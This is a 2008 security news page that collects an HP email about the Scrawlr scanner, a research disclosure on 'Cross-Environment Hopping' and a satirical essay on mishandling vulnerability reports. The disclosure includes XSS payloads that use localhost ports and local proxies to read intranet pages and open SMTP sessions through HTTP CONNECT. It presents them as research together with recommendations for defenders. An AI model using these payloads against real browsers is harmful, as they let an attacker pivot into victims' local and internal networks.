Sent: Thursday, June 26, 2008 5:09 PM
To: Wood, Matt (); Millar, Steve A
Subject: uhhhh does Scrawlr really have a limit?
Guys,
I noticed a Chinese site offer Scrawlr for download. Its classic ASP so I decide to scan it with Scrawlr.
Site is: [Site Removed]
The only thing is, Scrawlr is saying it has visited 3879 pages so far and is still going. Perhaps a bug in our limiting?
Billy Hoffman
--
Manager, HP Web Security Research Group
HP Software – Application Security Center
Direct: 770-343-7069

--
Link (Direct) - Link (Reputation Tracking) - Discuss [2] - Reply - Recommend

Cross Environment Hopping

2008-06-23T09:59:32Z

Prologue

Our research team has identified a web-based attack technique that exploits the growing number of applications that require a web server being run on a local machine. Cross-Environment Hopping (CEH) is a result of this trend combined with the current limitations in browsers’ same-origin policy access restrictions.

The CEH technique enables an attacker to exploit a local XSS vulnerability in order to “hop” to a different environment, such as another locally installed server. Under certain circumstances it may even be possible for an attacker to access remote network services such as network share drives, remote procedure calls, intranet mail, SQL servers, and so on.

This write-up will prove that the current implementation of same origin policy on the localhost in up-to-date Web browsers, combined with the presence of an XSS vulnerability, creates a special set of circumstances that enable environment hopping, and that the resulting malicious activity can be performed on any server running on a designated port.

We would like to credit Rob Carter for his great work in describing the problematic nature of exploiting XSS vulnerabilities in local web servers by taking advantage of the promiscuous security behavior of Internet Explorer 6.

Current Browser Restrictions

As browsers are designed to access a wide variety of resources, their access restrictions are essential to maintaining the security of the client. It is imperative that the browser controls information access by limiting one application from accessing resources or information from another application, that belong to a different entity.

>> Same Origin Policy:

The same origin policy is an essential element in client-side scripting (primarily JavaScript) security. A valuable component of this policy is that client-side script cannot read information originating from a different domain. While this does not prevent a browser from making cross-origin HTTP requests, it successfully limits access to the content of other domains.

The following table outlines various methods that might be used by JavaScript to communicate with external domains. While some are not restricted to the same origin, access to content is limited.

Method	Same Origin Policy	Content Access
XmlHttpRequest	Yes	Yes
Socket Connections	Yes	Yes
IFrame Element	No	Same Origin Only
Dynamic Form	No	Same Origin Only
Script Element	No	JavaScript Content Only
Image Element	No	Height/Width Value Only

>> XML HTTP Requests

It is interesting to note that different methods of making XML HTTP requests use different components, because different browsers use different implementations. For example, Microsoft Internet Explorer supports the ActiveX component Microsoft.XMLHTTP, while the Firefox browser does not.

Not only is there a variance in the components used to make these requests, but behavior varies too. For example, the standard XMLHttpRequest object supported by both Microsoft Internet Explorer and Firefox does not support requests across different ports (on the same domain), while many of the implementations through ActiveX that are supported by Internet Explorer do. (These include MSXML2.XMLHTTP, Microsoft.XMLHTTP and various versions and derivatives of these objects.)

In Firefox and Internet Explorer 7.0, an XMLHttpRequest might be initiated using:

var xhr = new XMLHttpRequest();

In addition, in Microsoft Internet Explorer 7.0 (and earlier versions), this might be initiated using:

var xhr = new ActiveXObject("Microsoft.XMLHTTP")

While this behavior doesn't seem to have a significant impact in an Internet web environment, it has a huge impact in a desktop web environment: the localhost domain.

Cross Environment Hopping

Cross-Environment Hopping (CEH) is the technique of hopping from the Internet to a port on the victim’s computer, and then hopping from one port (environment) to another on the computer, as illustrated below.

The attack sequence might begin with a blind request (perhaps using an IFrame element) from the attacker to a cross site scripting (XSS) vulnerability on the local web server running on port A.

>> Vulnerabilities in Local Web Servers:

As a vulnerability class, XSS is very prevalent in web applications. Numerous advisories have been published about XSS issues in local web servers. As an example, our own research team has published an advisory about a XSS issue found in the local web server installed by Google Desktop (see "Overtaking Google Desktop"). We are also aware of other such vulnerabilities in local web servers, but are restricted from disclosing information at the moment.

>> Cross Application Scripting (XAS):

A second method of initiating the CEH attack is by exploiting a Cross-Application scripting (XAS) attack. This is not a new type of attack.

Cross-Application scripting (XAS) is possible when an application executes data in a security context different from the original content (presumably one with less security restrictions). For example the data may be obtained from an un-trusted source (a remote web server) that is sent unfiltered into a trusted application such as when web content is downloaded from a remote server, and then re-displayed on the local host. Any application that downloads and then later displays and executes web content (such as JavaScript) may be vulnerable to XAS (“Cross-Application Scripting”, Security.nnov.ru)

The impact of a XAS vulnerability is usually access to the Local Computer Zone. One of the suggested countermeasures against XAS is to use a local web server in order to present the information gathered by the application instead of loading it from the file system.

The fact that the browser loads a page from a local web server guarantees that even if the application doesn't properly filter out hazardous characters (i.e. it is vulnerable to a XSS attack), the Local Computer Zone won't be accessible to attackers.

However, this countermeasure against XAS means that if the desktop application web interface is vulnerable, a CEH attack is made possible.

>> Crossing Ports Using XML HTTP Requests:

After the initial request has been sent and the victim has been exploited using XSS, the attacker can deliver payloads of his choosing. If the victim is running Microsoft Internet Explorer, the attacker may send ActiveX Microsoft.XMLHTTP requests to other local web servers running on different ports. As the same origin policy does not apply to ports (on Localhost), the attacker is able to read responses and make additional requests through the exploited system.

The following Cross Site Scripting payload, demonstrates how a malicious JavaScript payload returning from a web server installed on Localhost port 80, can submit an HTTP request to a different web application, installed on Localhost port 8080, and also have access to the information returned in the HTTP response:

<script>

    var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");

    if (xmlhttp!=null)

      xmlhttp.onreadystatechange=state_Change;

      xmlhttp.open("GET","http://localhost:8080/some_page.html",true);

      xmlhttp.send();

        alert("Request Sent!");

    else

      alert("Your browser does not support XMLHTTP.")

    function state_Change()

       // if xmlhttp shows "loaded"

       if (xmlhttp.readyState==4)

          alert('response:'+xmlhttp.responseText);

</script>

>> Crossing Ports Using Socket Connections:

Several client-side technologies are available, which allow the browser to initiate direct socket connections. For example, Java applets, Flash, and QuickTime all allow the opening of direct socket connections with the server of the same origin. Firefox has the unique distinction that direct socket connections are allowed using Java natively within JavaScript.

The following code will open a direct socket connection to the localhost on port 9999:

socket = new java.net.Socket( "localhost", 9999 );

Exploiting this ability, the attacker can send a request that hops from the local web server to any local server that the victim is running.

Theoretical Outcome

The potential exploitation of Cross-Environment Hopping could lead to many different outcomes. This write-up will consider only a few of the possibilities available to the malicious individual.

>> Cross Web Application Access:

An attacker could use ActiveX (XMLHTTP) components to send HTTP requests to web applications running on different ports. As web applications running on other ports are unlikely to be related (on Localhost), this could lead to significant application compromise. Web applications running on Localhost are likely to contain sensitive information (e.g. Google Desktop).

>> Public Share Enumeration:

During this research, we have managed to create a working exploit that demonstrates how an attacker may enumerate any public shares on the local computer using the SMB protocol. You can download the exploit zip file in this link. (works only on Firefox)

>> Local Proxy Exploitation:

The most significant damage of all, is possible if the victim happens to be running a local proxy server. As the local proxy server is merely used to pass through network traffic, it might be possible to use the victim’s machine as a conduit for an attack against the local network.

There are numerous examples of commercial products that install an HTTP proxy on the Localhost. In our examples we installed AVAST Anti Virus (v4.7), which goes even further and allows proxying using the HTTP CONNECT method (The importance of HTTP CONNECT will be demonstrated in the section “Accessing Non-HTTP Services Using HTTP CONNECT Method”, below.)

The Cross-site Scripting payload below performs a GET request to www.intranet.site using Java socket connection in JavaScript on Firefox and exploits the proxy that is running on Localhost: (line wrapped)

<script>

    var sock = new java.net.Socket("localhost", LOCAL_PROXY_PORT);

    var write = new java.io.DataOutputStream(new

    java.io.BufferedOutputStream(sock.getOutputStream()));

    var read = new java.io.DataInputStream(sock.getInputStream());

    write.writeBytes

("GET http://www.intranet.site:80/ HTTP/1.0\r\n\r\n");

    write.flush();

    var buf1 =

java.lang.reflect.Array.newInstance(java.lang.Byte.TYPE, 65536);

    len = read.read(buf1);

    var resp = "";

    for (i=0;i<len;i++)

        resp += String.fromCharCode(buf1[i])

    alert(resp);

</script>

The malicious JavaScript code has full access to the HTTP response coming from a completely different domain.

>> Accessing Non-HTTP Services Using the HTTP CONNECT Method:

Some proxy servers allow the tunneling of TCP protocols using the HTTP CONNECT method. The tunneling technique is used mostly for tunneling SSL traffic through proxies, but it can be used for tunneling all kinds of traffic.

A standard handshake for HTTP CONNECT tunneling between a client and a proxy might look like this:

Client HTTP Request:

CONNECT www.some.site:1234 HTTP/1.0 [CRLF]
User-agent: Some-Client [CRLF]
[CRLF]

Proxy Server HTTP Response:

HTTP/1.0 200 Connection established [CRLF]
Proxy-agent: Some-Proxy/1.0[CRLF]
[CRLF]

If the handshake was successful, the client is now free to communicate with www.some.site (using the service on port 1234), through the HTTP tunnel that was created.

The following Cross-site scripting example establishes a connection between the victim's computer and a remote SMTP server, using the SMTP protocol. Communication is tunneled through a locally installed proxy server that supports the HTTP CONNECT method, which avoids same-domain policy restrictions while enabling non-HTTP traffic:

<script>

    var sock = new java.net.Socket("localhost", LOCAL_PROXY_PORT);

    var write = new java.io.DataOutputStream(new java.io.BufferedOutputStream(sock.getOutputStream()));

    var read = new java.io.DataInputStream(sock.getInputStream());

    var buf1 = java.lang.reflect.Array.newInstance(java.lang.Byte.TYPE, 65536);

    write.writeBytes("CONNECT mailserver:25\r\n\r\n");

    alert("CONNECT sent");

    write.flush();

    read.read(buf1);

    write.writeBytes("HELO mail\r\n");

    alert("HELO sent");

    write.flush();

    len = read.read(buf1);

    var resp = "";

    for (i=0;i<len;i++)

        resp += String.fromCharCode(buf1[i])

    alert(resp);

</script>

>> Cross Environment Hopping vs. DNS Rebinding:

It is worth mentioning that while the outcome of a CEH attack is somewhat similar to that of a DNS Rebinding attack, the techniques themselves are very different. While DNS Rebinding bypasses the same origin policy to achieve its goal, Cross-Environment Hopping works under the same origin policy restrictions, and does not violate them during the attack.

As the security industry is continuously trying to fight against DNS Rebinding (and partially succeed. see DNS Rebinding security updates in Flash and Sun's JVM), CEH attacks are more relevant than ever.

Recommendations:

For browser and plug-in software providers:
As presented in this write-up, communication between different ports in the context of Localhost can lead to devastating results. Therefore, we believe that crossing ports on the Localhost should be restricted and bound to explicit user consent.
For the client:
The client should be very wary of installing software that runs a local web server. This write-up has shown that the restrictions in place on the local computer are not sufficient to prevent environment hopping from a vulnerable web application to other applications (not only web applications) that are running as a server.
For web application developers:
Web application security is paramount when building web applications that run in the context of a local web server. This write-up has shown that a single, simple XSS vulnerability can be exploited to gain access not only to the local web application, but to other applications and programs that are running the local machine. The responsibility involved in building such applications should be considered carefully.
For the anti-virus and local firewall software vendors
Anti-virus and local firewall software vendors should consider solutions that prevent socket and HTTP connections between web applications and different ports on the local computer.

Conclusion:

Cross-Environment Hopping can lead to the compromise of many different applications and expose some operating system features. The technique is relevant to any machine that runs a local web server.

When a machine runs a web server on more than one port, it is possible to exploit a vulnerability in one web application that leads to the compromise of a web application running on a different port entirely.

When a web server is co-hosted with other server types, the potential for exposure is dramatically increased. A vulnerability in a local web application could serve as a hopping point to open direct socket connection and exploitation of the other servers.

The research conducted so far is only a start, but highlights the dangerous potential of the technique.

Acknowledgements:

This research was performed by Yair Amit with additional help from Adi Sharabani, Danny Allan & Ory Segal.

Full text: An epic Bill Gates e-mail rant

2008-06-26T22:16:05Z

Internal email from Bill Gates detailing his difficulties with Microsoft.com, Windows Update, and more.

How To Hide^H^H^Handle Security Problems in Your Products

2008-06-26T18:14:06Z

Editor’s note: I wrote this over 10 years ago, after an aggressively bad experience reporting problems in Ascend routers. Everything in here has happened. The original URL for this essay broke long ago, and I felt like giving it a new home.

Anyone in the software industry knows that it’s much harder to build a system than it is to tear them down (ignore what those tree-hugging hippy cryptographers say; these are the same people who want you to give your source code away for free!). So why is it that security bug reports get so much more publicity than your press releases about new product features? Probably because you’re mishandling bug reports! Know what the pros know; don’t let security problems get out of hand. The following 10 tips should help you contain and control security problems.

For examples of how real software companies employ these techniques in their daily business, simply jump over to CNet’s NEWS.COM and search for stories with the words “security” and “flaw” in them. See how simple and effective these real-world strategies are. Remember: your company pays for every letter of publicity it obtains. Don’t let childish hackers get a free ride at your expense.

1. Deny Everything

Never, ever admit that there’s a problem. When you receive a bug report, discredit the report. Did the report come from a competitor? Bias! Slander! Remember: if 99 percent of your customers can’t reproduce the problem, 99 percent of your customers won’t be able to disprove you when you say the problem doesn’t exist. Remember handy key phrases: “that’s not a bug, it’s a feature!” and “the product was NEVER designed to handle that!”.

2. Keep It Secret

Bury the report. Inform the reporters that the problem will take months to fix, or that the fix can’t be released until all your products are sent back through regression testing. Remind them how irresponsible it would be to announce a problem for which there is no fix. Congratulate them for their cleverness and assure them there there is no way any evil crackers will ever find the problem themselves. If all else fails, bribe.

3. Forget The Report

Route the bug report to level-1 technical support. For best effect, ensure that the support technician assigned to the problem speaks minimal English. Delete the report from your bug tracking system. When the reporters give up on you and announce publically, claim you never heard about the problem, and inform the press and your customers that the reporters are simply seeking publicity. Proceed directly to step 1.

4. Make Excuses

Blame the operating system. Make sure your customers realize that the problem would never have occurred if Windows 95 popped up a modal dialog asking users if they’d like to wipe their swap file and start a new one every time a program exits. Blame the network. Make sure the press knows that the problem will never, ever occur on “real” networks, where only well-formed web traffic is passed through the packet filters. Blame the reporter. Remember handy key statement: “what was once an obscure problem is now a widely-known problem that hackers can use”.

5. Downplay

Make sure your customers know every limitation of the security problem being reported. If the bug lets attackers read any file, remind your customers that attackers can’t use it to reformat hard drives. If the attack is complicated, make sure your customers know that it would take an evil genius to exploit the problem, and that it isn’t a problem for anyone in the real world. If the press calls, be ready to inform them that nobody is known to actually be exploiting the problem, and thus the problem isn’t important.

6. Wait For Next Release

Frequent updates confuse customers. Loads of bug fixes give customers the impression that your software is less reliable than you know it really is. Don’t give your customers the wrong idea about your quality assurance and testing practices… silently roll fixes into the next release of the software. Added bonus: you can claim “significant security enhancements” in the advertising for the next version!

7. Beta-Test The Fix

Bug fixes are much easier to produce when you take absolutely no responsibility for problems caused by the patch. Easier means faster (not to mention cheaper), and faster is always better when it comes to security. Tell your customers that you’re acting in their best interests by getting them a fix as quickly as possible, and that an official version of the patch will be available soon (see step 6). Save valuable tech support resources by refusing to provide any assistance for any aspect of your software to customers who have moved to an unsupported, experimental configuration by installing your security patch.

8. Patch The Exploit

Capitalize on free quality assurance work by waiting for the exploit to be released instead of finding and reproducing the problem yourself. Add “3” to every fixed constant in your source code. Rebuild software. Try exploit. Repeat until exploit ceases to work. If this fails to solve the problem, convert all strings in your source code to Unicode. Rebuild software. Inform customers that you have resolved the problem.

9. Shoot The Messenger

Anybody who would purposely look for security problems, or tell someone about a security problem they found “accidentally” (yeah, right), is clearly a dope-smuggling pedophile. Accuse reporter of attempting to blackmail your company. From this point on, refer to bug reporters as “hackers”, as in this statement to concerned customers: “hackers like these will always be finding problems in software products, and we will continue to quickly resolve these problems after notifying the proper authorities.” Remember: the messenger is expendable. The value of your stock options is not.

10. Threaten Lawsuit

Sneak clause forbidding reverse engineering of your products into your license. Inform reporter that you believe there could be no way to find security bugs in your software without violating the license. Too late to modify license? Accuse reporter of libel, and claim hundreds of thousands of dollars of damage to your company’s reputation if the reporter lies to the public about nonexistant flaws in your software. Remember: it is highly unlikely that anyone who finds bugs in programs can afford to defend themself in court. Make sure the reporter remembers that too.